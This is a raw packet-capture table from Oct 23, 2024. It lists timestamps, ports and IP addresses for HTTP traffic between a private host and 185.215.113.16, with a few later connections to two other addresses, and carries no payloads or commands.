Oct 23, 2024 15:49:23.641477108 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641511917 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641518116 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641561031 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641565084 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641602039 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641613960 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641644001 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641652107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641685963 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641695976 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641717911 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641731977 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641756058 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641762018 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641789913 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641805887 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641829014 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641832113 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641866922 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641868114 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641904116 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641908884 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641942024 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.641942978 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641984940 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.641992092 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642020941 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642033100 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642054081 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642060995 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642090082 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642091036 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642123938 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642138004 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642158985 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642164946 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642194986 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642200947 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642244101 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642247915 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642283916 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642287970 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642319918 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642323971 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642355919 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642364979 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642402887 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642419100 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642466068 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642477989 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642513037 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642524958 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642549038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642551899 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642585039 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642586946 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642628908 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642642975 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642679930 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642690897 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642724037 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642748117 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642761946 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642769098 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642811060 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642818928 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642870903 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642870903 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642904043 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642911911 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642939091 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642946005 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.642976046 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.642982006 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.643017054 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.643027067 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.643059969 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.643071890 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.643096924 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.643101931 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.643130064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.643136978 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.643167019 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.643172026 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.643208981 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.643224955 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.643259048 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.643269062 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.643292904 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.643328905 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.643353939 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.643361092 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.643404007 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.664390087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.664426088 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.664458990 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.664529085 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.664576054 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.664839983 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.664896965 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.664901972 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.664952993 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.664958000 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.664987087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.664999962 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.665021896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.665028095 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.665057898 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.665069103 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.665106058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712023020 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712083101 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712090015 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712125063 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712126017 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712162018 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712181091 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712222099 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712239981 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712280035 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712290049 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712322950 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712327003 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712378979 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712379932 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712418079 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712418079 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712460995 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712471008 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712503910 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712507963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712538004 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712541103 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712574959 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712578058 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712613106 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712615013 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712646961 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712657928 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712680101 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712682009 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712713003 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712714911 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712744951 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712748051 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712784052 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712785006 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712819099 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712825060 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712852001 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712862968 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712884903 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.712888002 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.712934017 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.736922979 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.736987114 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.736994982 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.737031937 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.737032890 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.737076044 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760018110 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760085106 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760087967 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760132074 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760142088 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760175943 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760189056 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760210991 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760222912 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760248899 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760260105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760293007 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760299921 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760339022 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760341883 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760380030 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760390043 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760421991 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760435104 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760456085 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760476112 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760488987 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760504961 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760524035 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760539055 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760557890 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760576963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760597944 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760603905 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760639906 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760653019 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760688066 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760700941 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760724068 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760740042 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760773897 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760792017 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760809898 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760816097 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760848045 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760850906 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760895967 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760900974 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760936022 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760946989 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.760968924 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.760981083 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761007071 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761017084 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761059999 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761111021 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761145115 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761145115 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761145115 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761181116 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761187077 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761214018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761224031 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761248112 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761260033 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761281013 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761296034 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761313915 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761327028 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761353970 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761363029 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761389971 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761399984 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761428118 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761440039 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761464119 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761476040 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761497021 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761509895 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761547089 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761553049 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761584997 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761593103 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761619091 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761630058 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761658907 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761668921 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761707067 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761712074 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761745930 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761763096 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761796951 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761797905 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761830091 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761837006 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761868954 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761874914 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761905909 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761915922 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761957884 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.761976957 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.761991024 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.762003899 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.762028933 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.762032032 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.762068987 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.762079954 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.762114048 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.762126923 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.762145996 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.762156963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.762183905 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.762192011 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.762217999 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.762224913 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.762253046 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.762257099 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.762289047 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.762300014 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.762331009 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:23.816097975 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:23.816162109 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:26.068542004 CEST	49989	80	192.168.2.5	185.215.113.43
Oct 23, 2024 15:49:26.068862915 CEST	49991	80	192.168.2.5	185.215.113.43
Oct 23, 2024 15:49:26.074450970 CEST	80	49989	185.215.113.43	192.168.2.5
Oct 23, 2024 15:49:26.074532032 CEST	49989	80	192.168.2.5	185.215.113.43
Oct 23, 2024 15:49:26.074815989 CEST	80	49991	185.215.113.43	192.168.2.5
Oct 23, 2024 15:49:26.074878931 CEST	49991	80	192.168.2.5	185.215.113.43
Oct 23, 2024 15:49:26.075154066 CEST	49991	80	192.168.2.5	185.215.113.43
Oct 23, 2024 15:49:26.080554962 CEST	80	49991	185.215.113.43	192.168.2.5
Oct 23, 2024 15:49:27.009176970 CEST	80	49991	185.215.113.43	192.168.2.5
Oct 23, 2024 15:49:27.009267092 CEST	49991	80	192.168.2.5	185.215.113.43
Oct 23, 2024 15:49:27.010982037 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:27.011255980 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:27.016650915 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.016740084 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:27.016839981 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.016890049 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:27.019789934 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:27.025517941 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.931945086 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.931968927 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.931981087 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.931997061 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:27.932019949 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:27.932096958 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.932107925 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.932120085 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.932130098 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.932142973 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.932143927 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:27.932153940 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.932167053 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.932178020 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:27.932197094 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:27.937627077 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:27.937678099 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.066129923 CEST	49993	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:28.066185951 CEST	443	49993	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:28.066256046 CEST	49993	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:28.068289042 CEST	49993	443	192.168.2.5	104.102.49.254
Oct 23, 2024 15:49:28.068330050 CEST	443	49993	104.102.49.254	192.168.2.5
Oct 23, 2024 15:49:28.092241049 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.092256069 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.092268944 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.092287064 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.092299938 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.092323065 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.092356920 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.092668056 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.092720985 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.092722893 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.092734098 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.092755079 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.092772007 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.092935085 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.092948914 CEST	80	49992	185.215.113.16	192.168.2.5
